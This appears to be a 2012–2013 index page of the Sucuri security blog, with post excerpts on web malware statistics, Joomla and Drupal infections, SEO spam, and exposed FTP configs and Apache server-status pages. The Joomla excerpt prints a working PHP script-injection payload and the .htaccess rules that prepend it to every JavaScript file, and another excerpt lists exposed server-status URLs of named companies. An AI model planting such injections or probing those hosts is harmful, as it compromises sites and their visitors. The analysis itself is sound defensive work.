2012 Web Malware Trends Report Summary

Sucuri is a website security company focused on the detection and remediation of web malware. In 2012, via our SiteCheck scanner, we scanned 9,953,729 unique domains. This small report is based on the data we were able to compile from that platform and our analysis of that same data.

2012 Web Malware Trend Report Summary

The Foundation


Healthy Website View

We consider a site to be healthy when we cannot identify any unauthorized modification of its content. If any type of malware including injections, SPAM, defacements, etc. are found on a site, or if it is blacklisted by any major security company or search engine, we consider it to be compromised. Based on this view, only 74% of the sites we scan were deemed to be healthy. All the others were either blacklisted or had some malicious injection on them.

  • Total unique domains scanned and analyzed: 9,953,729
  • Sites in which a malicious injection was identified: 15%
  • Sites in which a malicious injection was identified and it was also blacklisted: 4%
  • Sites that were only blacklisted: 7%

Note that the 15% represents unique domains that were classified malicious only by our scanner via our detection mechanism. The blacklisted percentage is based on data made available by the following blacklist API’s:

  • Google
  • McAfee
  • Yandex
  • Norton
  • PhishTank


Read More

Sneaky Joomla Web Malware – JavaScript Infections

So the past week has been interesting, we have been having fun with a few JavaScript infections that really forced us to put on our thinking hats. Our Senior Malware Engineer, Fioravante Cavallari, actually found the payload and dissected it – thank goodness for products based on human-intelligence. It was so interesting that we felt compelled to write about it. It very accurately represents an evolution in the types of attacks we’re seeing, specifically as to the their creative nature.

If it were 24 months ago, JavaScript infections would be straight forward. They would be right in the JavaScript file, usually leveraging the document.write object or something similar. Take it back 12 months and we’d see the introduction of the rogue Apache modules, maybe not the introduction but when they were becoming more common place, generating the same injections. Granted, both of these approaches are still actively used today, but now we start adding things like the self-licking ice cream cone approach we wrote about and today’s scenario, which we’ll coin, adding junk to the trunk.

So What’s the Scenario?!?

In retrospect, it’s very simple. Append the payload to the file, hence adding junk to the trunk, similar in concept to what we are seeing with the Apache modules, but leveraging .htaccess.

This is how they are doing it:

First:

They have a payload on the server that is anything but the normal files you’d expect, i.e., HTML, JS, PHP, CSS, etc.., in this scenario it was a ShockWaveFile (.swf):

<?php
if (!$_COOKIE['utmzz'])
 {
setcookie('utmzz',time(),time()+60*60*24*7,'/');
header('Content-Type: application/x-javascript');
?>
document.write('<script type="text/javascript" src="[some not so nice payload]"></script>');
<?php
 }
header('Content-Type: application/x-javascript');

Second:

You then auto_append that rogue file to all JS files, oh which by the way, you treat as PHP:

<files ~ "\.js$">
SetHandler application/x-httpd-php
php_value auto_prepend_file [path to your rogue file]
php_flag display_errors Off
</files>

Keeping it Simple

Just like that, the attacker is able to append bad payloads to all your JavaScript files. All the while, you spend your valuable time looking through all your JS files, pulling your hair out, and low and behold, it’s not in the files. Yes, very annoying, I know. In any event, right now we’re seeing these types of attacks on Joomla sites more than any CMS.

I wouldn’t place too much thought into that, let’s keep the drama low folks. I don’t think it’s for any reason other than different breeds of attackers. Some groups are more particular to one platform over another and as they come up with tactics it spreads, at some point it jumps the fence and it’ll only be a matter of time before other platforms start seeing similar attack patterns.

Don’t Forget About Cache!!

When cleaning up the mess, removing the .htaccess and the bad rogue file alone won’t do the trick. It’s already been appended to all your files and in Joomla that means you have to use the core tools to purge all your files – easiest way. If you were to navigate to the site directly you, and your visitors, would still get hit with the JavaScript payload. So, log into your administrator panel and purge all the cached files via tools menu options.

Cheers!


If you find yourself in a similar situation send us a note at info@sucuri.net. Or sign up and we’ll get things situated, http://sucuri.net.

Website Malware – Drupal Injections Targeting Cookies

Many folks are unfamiliar with the Drupal CMS, it doesn’t enjoy the popularity that some others do like WordPress and Joomla, but its a powerful CMS none the less. What it does have in common with its counterparts is that its susceptible to attacks and infections. We don’t often write about it, but we do work on the platform. We decided to give it some attention this week because of the increased number of Drupal infections we’re seeing.

They’re slightly different when compared to other CMS applications and so is the remediation process. In this post we’ll show an infection that seems to be all the craze this week, findings courtesy of Fioravante Souza – one of Sr Malware Engineers.

The Payload

Most of the sites infected with this payload are also accompanied by other iframe injections. Those iframe injections are not special, they are often attached to every file – PHP, JS, HTML, and beging with document.write and reference some file like cgi?5 or cfg?11. If you have some terminal sense you should be able to find them and remove them, if you need help you can always use our free scanner, it’ll display any payloads hitting the readers browser. Here is the payload though that we were most interested in as it was obfuscated and very painful to find and remove.

Read More

Website Malware – Sharp Increase in SPAM Attacks – WordPress & Joomla

This past week we have seen a sharp increase in the use of old tactics designed to poison your search engine results – also known as Search Engine Poisoning (SEP) attacks. If you use our free scanner, SiteCheck, you’ll likely see something like the following:

Sucuri - ViewState Infection

You’re probably wondering, what the heck, how is that SEO SPAM? Allow me to explain what this is doing.

Read More

Website Malware – Reality of Cross-Site Contaminations

Sometimes you can’t help but put yourself in the shoes of your clients and skeptics and wonder how many times they roll their eyes at the things you says. Cross-site contamination is one of those things.

We first start writing about it in March of 2013 in a little post that got a lot of attention, “A Little Tale About Website Cross Contamination”. In that case we talked to how the attack vector was coming from a neighboring site that had since been neglected, in turn it was now housing the generating payload that was affecting the live sites. All in all, it was a sad and depressing story.

In this case, it’s unique in that it’d fall into what we would categorize a targeted attack. That’s right, the complete opposite of what we often tell most readers they fall into, opportunistic attacks. I will caveat that it’s not known for sure, but after reading this we’ll let you be the judge.

/* It’s nothing personal, it’s just business */


Read More

SFTP/FTP Password Exposure via sftp-config.json

Have you heard of the file sftp-config.json? You haven’t? Neither did we until a few weeks ago.

It is used by some SFTP/FTP clients (Sublime SFTP is one) to pre-configure SFTP/FTP connections to remote sites and it contains some useful information in there (not encrypted):

“type”: “ftp”,
..
“host”: “FTP HOST”,
“user”: “FTP USER”,
“password”: “FTP PASS”,
“port”: “21″,

Which makes a lot easier to connect and manage remote servers. However, with extra flexibility comes some serious security issues if not used properly.

Read More

Out-of-date Software Affects Websites Big and Small

Last week we published an article listing some big and popular websites that were leaking information about their users via the Apache server-status page. We also published a full list of sites that had this option enabled on our Labs project: URLFind.org.

On URLFind, we list a lot more details than just the sites that have server-status enabled. You can easily find sites that are running outdated versions of WordPress, Joomla or even vBulletin. We also index sites that are still running PHP 4 (outdated and not supported) and other potentially unsafe configurations and servers.

Message to all webmasters

After we published the blog post with the server-status issue, almost all of the sites got fixed (well, excluding Staples and Ford), which I don’t think they would have without that small push (walk of shame).

We are hoping that by shedding a bit more light to this already publicly exposed dilemma, webmasters will take note and update their sites and servers as soon as they can.

Read More

Popular sites with Apache server-status enabled

Apache has a very useful functionality called server-status that allows administrators to easily find how well their servers are performing.

It is basically an HTML page that displays the number of process working, status of each request, IP addresses that are visiting the site, pages that are being queried and things like that. All good.

However, this feature can also have security implications if you leave it wide open to the world. Anyone would be able to see who is visiting the site, the URLs, and some times even find hidden (obscure) admin panels or files that should not be visible to the outside.

Talk about an awkward moment.

URL mapping and server status

We started a small crawling project in our Labs that queried over 10m different web sites (some of the crawl data is at URLfind.org). And we noticed something very interesting: Lots of web sites (some big ones) keep their server-status page open the whole world.

Here are just a few popular brands showing their status:

http://php.net/server-status/
http://metacafe.com/server-status/
http://cloudflare.com/server-status/ (FIXED)
http://disney.go.com/server-status/ (FIXED)
http://www.latimes.com/server-status/
http://www.staples.com/server-status/
http://tweetdeck.com/server-status/ (FIXED)
http://www.nba.com/server-status/
http://www.ford.com/server-status/
http://www.cisco.com/server-status/
http://www.chicagotribune.com/server-status/
http://www.yellow.com/server-status/
http://apache.org/server-status/

And many many more here: http://urlfind.org/?server-status.

Is that a big deal that I can go to staples.com/server-status/ and see all those orders/connections being made and their IPs? Or go to one of them and search for “admin-p” and find a mostly unprotected admin panel (I won’t disclose the site). Or find all the internal URLs and vhost mapping for nba.com or ford.com?

Probably not a big deal by itself (well, if you don’t have an unprotected admin panel), but that can help attackers easily find more information about these environments and use them for more complex attacks.


Simple fix

For server admins, please disable server-status or restrict it to only a set of IP addresses that really need to use it. This link explains how to do so: http://httpd.apache.org/docs/2.2/mod/mod_status.html.

Vote SPAM For President: New Election Tactics or Same Old Tricks?

The United States presidential campaign is going full force, and it’s been a doozy. We don’t typically get involved with political situations, short of cleaning some of the crazy defacements we see, this is an exception.

Vote Spam
This election campaign has brought its typical bashing via commercials, the usual rhetoric we see in interviews, and even those cool vote for (plug in your favorite candidate) stickers. My personal favorite was the vice presidential debate which left me feeling like I was on the grade school playground making faces and sticking my tongue out at the resident bully.

Times have adapted a bit, and the tactics have changed along with the advancements in communications, and social interaction. Twitter discussions boasting crazy statistics, Facebook posts about how awesome each candidate is, all of these have even spawned interesting debate and discussion in my own social groups.

Apparently, the crazy and debatably bad tactics stem beyond the historical mediums into our lovely world of geek. I guess it was only a matter of time.

We have drummed up a couple of theories on how this happened, ultimately it’s up to you to decide. More on that at the end.


Read More

Dealing with WordPress Malware

A few months back I contributed to a post with Smashing Magazine on the top 4 WordPress Infections, it was released yesterday, and it couldn’t have been at a better time. If any one attended WordCamp Las Vegas you might even find some similarities. Fortunately in the process of preparing for the event and working with the team, we were able to compile a bit more information expanding on the things we originally discussed in the last post. It’s perfect timing for a number of reasons, and will complement this post very nicely.

WordPress Malware
The idea of this post, like many in the past, is to outline and discuss this past weekend’s presentation. In the process, hopefully you take something away. Unfortunately, the presentation was capped off with a live attack and hack, and I won’t be able to include that in this post, but I promise it’s coming.

**Note: If you plan to be at WordCamp Philadelphia 2012 you might be in for some treats, just saying. And if you don’t have it on the calendar, you should.

Read More